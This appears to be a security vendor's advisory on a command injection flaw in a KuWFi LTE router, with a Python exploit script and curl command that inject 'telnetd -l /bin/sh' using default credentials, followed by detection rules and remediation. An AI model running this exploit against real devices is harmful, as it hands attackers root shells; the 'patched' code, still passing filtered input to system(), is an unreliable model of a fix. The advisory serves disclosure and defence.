CVE-2024-53945

Executive Summary

CVE-2024-53945 is a critical command injection vulnerability in the KuWFi 4G AC900 LTE router (firmware version 1.0.13). The flaw resides in the HTTP API endpoints /goform/formMultiApnSetting and /goform/atCmd. An authenticated attacker can inject arbitrary OS commands via shell metacharacters in parameters such as pincode and cmds, leading to full system compromise with root privileges. This includes enabling remote access services like telnet. The vulnerability is publicly known but currently unpatched, posing a significant risk to affected devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. Exploitation allows complete device takeover, enabling data exfiltration, lateral movement, and use as a botnet node.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the router's web management interface. The endpoints /goform/formMultiApnSetting and /goform/atCmd accept user-supplied parameters (pincode, cmds) without proper sanitization. These parameters are likely passed directly to a shell command (e.g., system() or popen()), allowing an attacker to inject arbitrary commands using shell metacharacters like ;, |, &, or backticks.

Root Cause: Lack of input validation and use of unsafe functions that execute shell commands with user input.

Attack Flow:

1. Attacker authenticates to the router's web interface (default credentials or brute-force).
2. Sends a crafted POST request to /goform/formMultiApnSetting with a malicious pincode parameter.
3. The injected command executes with root privileges.
4. Attacker can enable telnet, add backdoor users, or exfiltrate data.

Example Payload:

pincode=1234;telnetd -l /bin/sh

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void handleMultiApnSetting(char *pincode) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /tmp/apn_config", pincode);
    system(cmd);  // Unsafe: pincode not sanitized
}

Patched Code (Conceptual):

void handleMultiApnSetting(char *pincode) {
    // Sanitize input: remove shell metacharacters
    char sanitized[256];
    sanitize_input(pincode, sanitized, sizeof(sanitized));
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /tmp/apn_config", sanitized);
    system(cmd);
}

Key Difference: The patched version uses a sanitization function to strip or escape shell metacharacters before passing input to system().

Exploitation & Lab Setup

Red Team

Prerequisites:

• KuWFi 4G AC900 LTE router with firmware 1.0.13
• Network access to the router's web interface (default IP: 192.168.1.1)
• Valid credentials (default: admin/admin)

Exploit Script (Python):

import requests

target = "http://192.168.1.1"
username = "admin"
password = "admin"

# Authenticate
session = requests.Session()
login_data = {"username": username, "password": password}
session.post(f"{target}/goform/login", data=login_data)

# Command injection payload
payload = "1234;telnetd -l /bin/sh"
data = {"pincode": payload}
response = session.post(f"{target}/goform/formMultiApnSetting", data=data)

if response.status_code == 200:
    print("Exploit sent. Telnet should be enabled on port 23.")
else:
    print("Exploit failed.")

Manual Exploitation:

curl -X POST http://192.168.1.1/goform/formMultiApnSetting \
  -d "pincode=1234;telnetd -l /bin/sh" \
  -c cookies.txt -b cookies.txt

Blue Team

Detection:

• Monitor HTTP POST requests to /goform/formMultiApnSetting and /goform/atCmd with unusual parameters.
• Look for shell metacharacters (;, |, &, `) in POST data.
• Alert on new telnet or SSH connections from the router.

Honeypot:

• Deploy a fake KuWFi router endpoint that logs all POST data for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /goform/formMultiApnSetting or /goform/atCmd containing shell metacharacters.
• Outbound connections from the router to unknown IPs on ports 23 (telnet), 22 (SSH), or 80/443 (C2).

Host IOCs:

• Unauthorized telnet or SSH daemon running on the router.
• New user accounts in /etc/passwd.
• Modified startup scripts (e.g., /etc/init.d/).

File IOCs:

• /tmp/apn_config containing injected commands.
• /var/log/messages with suspicious shell commands.

Detection Engineering

YARA Rule

rule CVE_2024_53945_KuWFi_Command_Injection {
    meta:
        description = "Detects command injection attempts against KuWFi 4G AC900 LTE router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53945"
    strings:
        $s1 = "/goform/formMultiApnSetting" ascii wide nocase
        $s2 = "/goform/atCmd" ascii wide nocase
        $s3 = "pincode=" ascii wide nocase
        $s4 = "cmds=" ascii wide nocase
        $shell1 = /[;&|`$(){}]/
    condition:
        (any of ($s1, $s2)) and (any of ($s3, $s4)) and $shell1
}

Sigma Rule

title: KuWFi Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to KuWFi router endpoints with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/goform/formMultiApnSetting'
            - '/goform/atCmd'
    keywords:
        - 'pincode='
        - 'cmds='
    filter:
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection and keywords and filter
falsepositives:
    - Legitimate use of special characters in APN settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53945 KuWFi Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/formMultiApnSetting"; http_uri; content:"pincode="; http_client_body; pcre:"/(?:[;&|`$(){}])/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management of the router if not required.
2. Change default credentials immediately.
3. Restrict access to the web interface to trusted IPs only via firewall rules.
4. Monitor logs for suspicious POST requests to the vulnerable endpoints.

Long-term Fix:

• Vendor must release a firmware update that sanitizes input parameters. Since no patch is available, consider replacing the device with a secure alternative.

Workaround:

• Use a reverse proxy or WAF to block requests containing shell metacharacters in POST data to the vulnerable endpoints.

Valters IT
Securing Digital Frontiers